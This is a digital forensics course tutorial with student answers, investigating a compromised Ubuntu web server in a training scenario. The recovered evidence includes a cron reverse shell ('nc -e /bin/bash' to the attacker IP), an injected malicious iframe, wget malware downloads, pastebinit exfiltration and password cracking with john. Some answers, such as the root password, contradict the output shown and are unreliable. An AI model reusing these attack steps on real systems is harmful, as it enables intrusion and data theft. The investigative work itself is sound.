**3906ICT/7906ICT Digital Forensics**

**Tutorial 5.1 – Digital Investigations**

The aim of this tutorial is to give you more experience with the forensic process for disk images.

# Preliminaries

There are two options for doing the practical component of this tutorial. You can do this tutorial by logging into the Griffith Cyber Range which is an Internet isolated set of virtual machines that has been set up on the Griffith network. The other is to download and install the software on your local PC.

## Set Up Option 1 – Griffith Cyber Range

If you are not on a Griffith University campus need to VPN into the Griffith Network. Details of how to VPN into the Griffith Network can be found here: https://intranet.secure.griffith.edu.au/computing/remote-access/virtual-private-network. Go to the bottom of the page and find the instructions for your device.

Once you have set up your VPN to the Griffith network, you can use your browser to go to the following page: https://cyber.ict.griffith.edu.au/

The credentials for the Griffith Cyber Range Server are:

**Username: sXXXXXXX**

**Password: changeme**

]

sXXXXXXX is your Griffith username. When you log in for the first time change your password (which you will need to remember). To do this go to your username menu on the top right corner of the web page and select the Settings item. The Settings page will allow you to reset your password. Once you have reset the password, use your new password for subsequent logins. For this tutorial we will be using the SIFT workstation. Click on the SIFT link and you will be connected to a virtual machine running the SANS SIFT workstation Linux distribution.

When you have finished your tutorial simply close the browser tab with the connection to the virtual machine. Or press Shift-Ctrl-Alt to access the web menu and disconnect from the Griffith Cyber Range.

## Set Up Option 2 – Install on your local PC

The other option is to install the SIFT workstation on your local PC. Links to the virtual machine OVA file for download are found on the Learning@Griffith web site. **Note:** The SIFT workstation is a 15GB download. You will need to install VirtualBox and select File->Import Appliance to install the SIFT workstation Virtual machine. Start the Virtual Machine and log in.

The login credentials for the SIFT workstation are:

**Username: sansforensics**

**Password: forensics**

# Disk Forensics Scenario

The following is a well-known digital forensics training scenario.

You're a consultant who has been called in to conduct a forensic investigation for Bob's Chili Burgers LLC. Bob Barnascus, owner of the company, is disturbed by customer reports that their website was infecting customers with malware. The website was just debuted and within an hour, customers have sent complaints and legal threats.

# Evidence

Assuming that the correct evidence has been identified and collected, the next step is to download the disk image onto the SIFT workstation virtual machine.

1. If you are using the Griffith Cyber Range, your virtual machines are isolated from the Internet but you can download the evidence for this tutorial from [http://forensic-tutorials.griffith.internal](http://forensic-tutorials.griffith.internal/) in the *tutorial5.1* directory. If you are using your own local SIFT workstation you can download the evidence from the link provided in the

Learning@Griffith page for this tutorial.

**Answer:**

Answer

1. Create a directory in the /cases directory called BobsChilli and unzip the file here.

**Answer:**

Answer

1. Check the md5sum of the BobsFamousChiliCase\_Logical.E01 is 24f973964b0607d2e5e81dde3edcb708.

**Answer:**

$ md5sum BobsFamousChiliCase\_Logical.E01

24f973964b0607d2e5e81dde3edcb708 BobsFamousChiliCase\_Logical.E01

1. The disk image is using the EWF Encase standard. Check that it is an ewf file using ewfinfo.

**Answer:**

ewfinfo BobsFamousChiliCase\_Logical.E01

ewf images include meta data

1. Mount the ewf partition BobsFamousChiliCase\_Logical.E01 using ewfmount to create a second ewf1 mount point as a raw image on /mnt/ewf/.

**Answer:**

sudo ewfmount BobsFamousChiliCase\_Logical.E01 /mnt/ewf

ewfmount 20140812

$ sudo ls /mnt/ewf

ewf1

1. Use fsstat to check the type of image has been mounted.

**Answer:**

$ sudo mmls /mnt/ewf/ewf1

Cannot determine partition type

$ sudo fsstat /mnt/ewf/ewf1

sudo fsstat /mnt/ewf/ewf1 | grep -E "Group:|Total Directories:"

1. Mount the ewf1 image to the /mnt/ewf\_mount directory so you can access it as a file system. Use the noexec and noload options as we don’t want the mounted image to be loaded or have executable files. Note there is no offset with our linux image.

**Answer:**

No execution of linux systems on a linux OS

$ sudo mount -o loop,ro,noexec,noload /mnt/ewf/ewf1 /mnt/ewf\_mount/

$ sudo ls /mnt/ewf\_mount/

$ cd /mnt/ewf\_mount/

# Analysis

Bob and his executive leadership team of crack Chili experts have asked the below analytic questions to guide your analysis.

1. What distribution and version is this system?

**Answer:**

$ cat /mnt/ewf\_mount/etc/issue

Ubuntu 14.04.4 LTS \n \l

1. How many different IP's in the web server log?

**Answer:**

$ tail /mnt/ewf\_mount/var/log/apache2/access.log

46.166.190.180 - - [01/Jun/2016:19:43:36 -0400] "GET /favicon.ico HTTP/1.1" 404 504 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)"

104.238.169.44 - - [01/Jun/2016:19:46:30 -0400] "GET / HTTP/1.1" 200 2469 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_11\_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

104.238.169.44 - - [01/Jun/2016:19:46:31 -0400] "GET /images/header.jpg HTTP/1.1" 304 180 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_11\_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

104.238.169.44 - - [01/Jun/2016:19:46:31 -0400] "GET /images/headright.jpg HTTP/1.1" 304 182 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_11\_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

104.238.169.44 - - [01/Jun/2016:19:46:31 -0400] "GET /images/img09.gif HTTP/1.1" 404 508 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_11\_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

104.238.169.44 - - [01/Jun/2016:19:52:02 -0400] "-" 408 0 "-" "-"

5.101.65.141 - - [01/Jun/2016:20:09:32 -0400] "GET / HTTP/1.1" 200 2524 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_11\_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

5.101.65.141 - - [01/Jun/2016:20:09:32 -0400] "GET /images/header.jpg HTTP/1.1" 304 180 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_11\_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

5.101.65.141 - - [01/Jun/2016:20:09:32 -0400] "GET /images/headright.jpg HTTP/1.1" 304 182 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_11\_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

5.101.65.141 - - [01/Jun/2016:20:09:33 -0400] "GET /images/img09.gif HTTP/1.1" 404 509 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_11\_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

Man cut

Man uniq

$ cut -d" " -f1 /mnt/ewf\_mount/var/log/apache2/access.log | uniq

192.168.0.9

::1

192.168.0.9

::1

70.126.138.151

::1

70.126.138.151

172.98.67.101

::1

168.1.75.20

104.200.154.6

::1

70.126.138.151

46.166.190.180

104.238.169.44

5.101.65.141

1. Through what protocol was this system compromised? Perhaps you could check the authentication logs.

**Answer:**

$ cat /mnt/ewf\_mount/var/log/auth.log | less

$ cat /mnt/ewf\_mount/var/log/auth.log | grep -E "Failed|Accepted"

Jun 1 18:53:30 BobsChili-ProdWeb1 sshd[1471]: Accepted password for bob from 192.168.0.9 port 57085 ssh2

Jun 1 18:53:54 BobsChili-ProdWeb1 sshd[1537]: Failed password for root from 192.168.0.9 port 57091 ssh2

Jun 1 18:56:50 BobsChili-ProdWeb1 sshd[1560]: Accepted password for root from 192.168.0.9 port 57119 ssh2

Jun 1 19:23:53 BobsChili-ProdWeb1 sshd[1656]: Accepted password for root from 192.168.0.9 port 57628 ssh2

Jun 1 19:24:18 BobsChili-ProdWeb1 sshd[1706]: Accepted password for root from 192.168.0.9 port 57630 ssh2

Jun 1 19:25:13 BobsChili-ProdWeb1 sshd[1755]: Accepted password for root from 192.168.0.9 port 57634 ssh2

Jun 1 19:34:46 BobsChili-ProdWeb1 sshd[2100]: Accepted password for root from 192.168.0.9 port 57696 ssh2

Jun 1 19:35:03 BobsChili-ProdWeb1 sshd[2150]: Accepted password for root from 192.168.0.9 port 57697 ssh2

Jun 1 19:51:40 BobsChili-ProdWeb1 sshd[2250]: Failed password for root from 104.238.169.44 port 57053 ssh2

Jun 1 19:51:53 BobsChili-ProdWeb1 sshd[2250]: message repeated 2 times: [ Failed password for root from 104.238.169.44 port 57053 ssh2]

Jun 1 19:52:25 BobsChili-ProdWeb1 sshd[2307]: Failed password for root from 185.2.139.12 port 57087 ssh2

Jun 1 19:52:31 BobsChili-ProdWeb1 sshd[2307]: message repeated 2 times: [ Failed password for root from 185.2.139.12 port 57087 ssh2]

Jun 1 19:53:12 BobsChili-ProdWeb1 sshd[2309]: Failed password for root from 107.150.94.4 port 57124 ssh2

Jun 1 19:53:19 BobsChili-ProdWeb1 sshd[2309]: message repeated 2 times: [ Failed password for root from 107.150.94.4 port 57124 ssh2]

Jun 1 20:03:35 BobsChili-ProdWeb1 sshd[2330]: Failed password for root from 5.101.65.141 port 57188 ssh2

Jun 1 20:03:40 BobsChili-ProdWeb1 sshd[2330]: Failed password for root from 5.101.65.141 port 57188 ssh2

Jun 1 20:03:45 BobsChili-ProdWeb1 sshd[2330]: Accepted password for root from 5.101.65.141 port 57188 ssh2

1. What country is the attacker's IP address from?

**Answer:**

Jun 1 20:03:45 BobsChili-ProdWeb1 sshd[2330]: Accepted password for root from 5.101.65.141 port 57188 ssh2

<https://www.iplocation.net/ip-lookup>

Russia -- Saint Petersburg

1. What port is the protocol used to compromise the system set on?

**Answer:**

$ cat /mnt/ewf\_mount/etc/ssh/ssh \*TAB\*

$ cat /mnt/ewf\_mount/etc/ssh/sshd\_config | grep -i port

# What ports, IPs and protocols we listen for

Port 422

1. What is the name of the user account the attacker made?

**Answer:**

$ cat /mnt/ewf\_mount/var/log/auth.log | grep -i new

Jun 1 20:11:03 BobsChili-ProdWeb1 groupadd[2485]: new group: name=radvlad, GID=1001

Jun 1 20:11:03 BobsChili-ProdWeb1 useradd[2489]: new user: name=radvlad, UID=1001, GID=1001, home=/home/radvlad, shell=/bin/bash

1. What time was the user account created in UTC (XX:XX:XX format)?

**Answer:**

Jun 1 20:11:03

1. What date and time did the attacker first log in?

**Answer:**

Jun 1 20:03:45

Last line from “ cat /mnt/ewf\_mount/var/log/auth.log | grep -E "Failed|Accepted" ”

1. What is the IP that failed to log in directly before the attacker successfully logged in?

**Answer:**

107.150.94.4

1. The attacker set a password for the account that they made, what is it set to?

**Answer:**

$ cat /mnt/ewf\_mount/etc/shadow

$ sudo cat /mnt/ewf\_mount/etc/shadow

man unshadow

unshadow - combines passwd and shadow files

$ sudo unshadow /mnt/ewf\_mount/etc/passwd /mnt/ewf\_mount/etc/shadow > '/home/sansforensics/Downloads/Turorial\_5.1/unshadowed'

1. The attacker changed the root password, what is it set to?

**Answer:**

1qaz2wsx

$ sudo john --wordlist=rockyou.txt unshadowed

Created directory: /root/.john

Loaded 3 password hashes with 3 different salts (crypt, generic crypt(3) [?/64])

Press 'q' or Ctrl-C to abort, almost any other key for status

1qaz2wsx (radvlad)

asdzxc (root)

1. What day of the week does the attacker's cron job fire?

**Answer:**

$ sudo cat /mnt/ewf\_mount/var/spool/cron/crontabs/root

# m h dom mon dow command

30 17 \* \* 1 nc -e /bin/bash 5.101.65.141

At 5:30pm on every day of the month,every month, on the first day of the week to make a TCPUDP connection (using nc) to the ip address of 5.101.65.141

A network connection using /bin/bash

1. What addition to the website is causing users to get redirected to malicious pages? Hint: Check what root has been doing.

**Answer:**

$ sudo cat /mnt/ewf\_mount/root/.bash\_history

echo "HAhaha nice password newb-rade"

cd /var/www

ls

cd html

ls

less index.html

nano index.html

echo "<iframe src="http://anecdote.roobaroo.org/xegblh2.html"></iframe>" >> index.html

crontab -e

adduser radvlad

passwd

sudo apt-get install pastebinit

cd /root

ls

cd secret\_chili\_recipe/

ls

pastebinit -h

pastebinit -b pastebin.com -f text Secret-Recipe-Chili

pastebini -f text Secret-Recipe-Chili

pastebinit -f text Secret-Recipe-Chili

history

cd /root

ls

ls -lah

mv .bash\_history .vlad\_hax

cat /dev/null > .bash\_history

ls -lah

cd /var/www/html

wget www.rd1994.com/system/logs/host.exe

wget sub.spirlymo.com/installers/bi\_downloader/1460581445162/setu

wget sub.spirlymo.com/installers/bi\_downloader/1460581445162/setup.exe

wget xiazai.51jetso.com/315/setup\_20001.exe

wget bellefonte.net/vt.exe

exit

1. What is the sha256 hash of the first file the attacker added to /var/www/html?

**Answer:**

$ sudo ls /mnt/ewf\_mount/var/www/html

$ sudo sha256sum /mnt/ewf\_mount/var/www/html/\*.exe

fe4bf975b0359d674a26abe808092656c67c6d92701baa47a6e116c513ee391b /mnt/ewf\_mount/var/www/html/setup\_20001.exe

94ebd2af4d1e1e4d01c4806cf1d94c44d24014da0703424f864e5e8cd3396fb9 /mnt/ewf\_mount/var/www/html/setup.exe

1. What is the ClamAV name for the second file the attacker added to /var/www/html? Hint use Virustotal.

**Answer:**

Both files were flagged as malicuios

<https://www.virustotal.com/gui/file/fe4bf975b0359d674a26abe808092656c67c6d92701baa47a6e116c513ee391b>

<https://www.virustotal.com/gui/file/94ebd2af4d1e1e4d01c4806cf1d94c44d24014da0703424f864e5e8cd3396fb9>

1. What file was exfiltrated?

**Answer:**

**Secret-Recipe-Chili**

Find pastebinit in “sudo apt-get install pastebinit” using “sudo cat /mnt/ewf\_mount/root/.bash\_history”

Pastebinit is used to upload files as they did with the secret recipe

1. What command line tool did the attacker use to exfiltrate the file?

**Answer:**

Pastebinit

$ sudo grep -ir "Secret-Recipe-Chili" /mnt/ewf\_mount/

$ sudo cat /mnt/ewf\_mount/root/secret\_chili\_recipe/Secret-Recipe-Chili

# Tutorial Quiz

You have now completed the exercises for this tutorial. You can now attempt the quiz for this tutorial.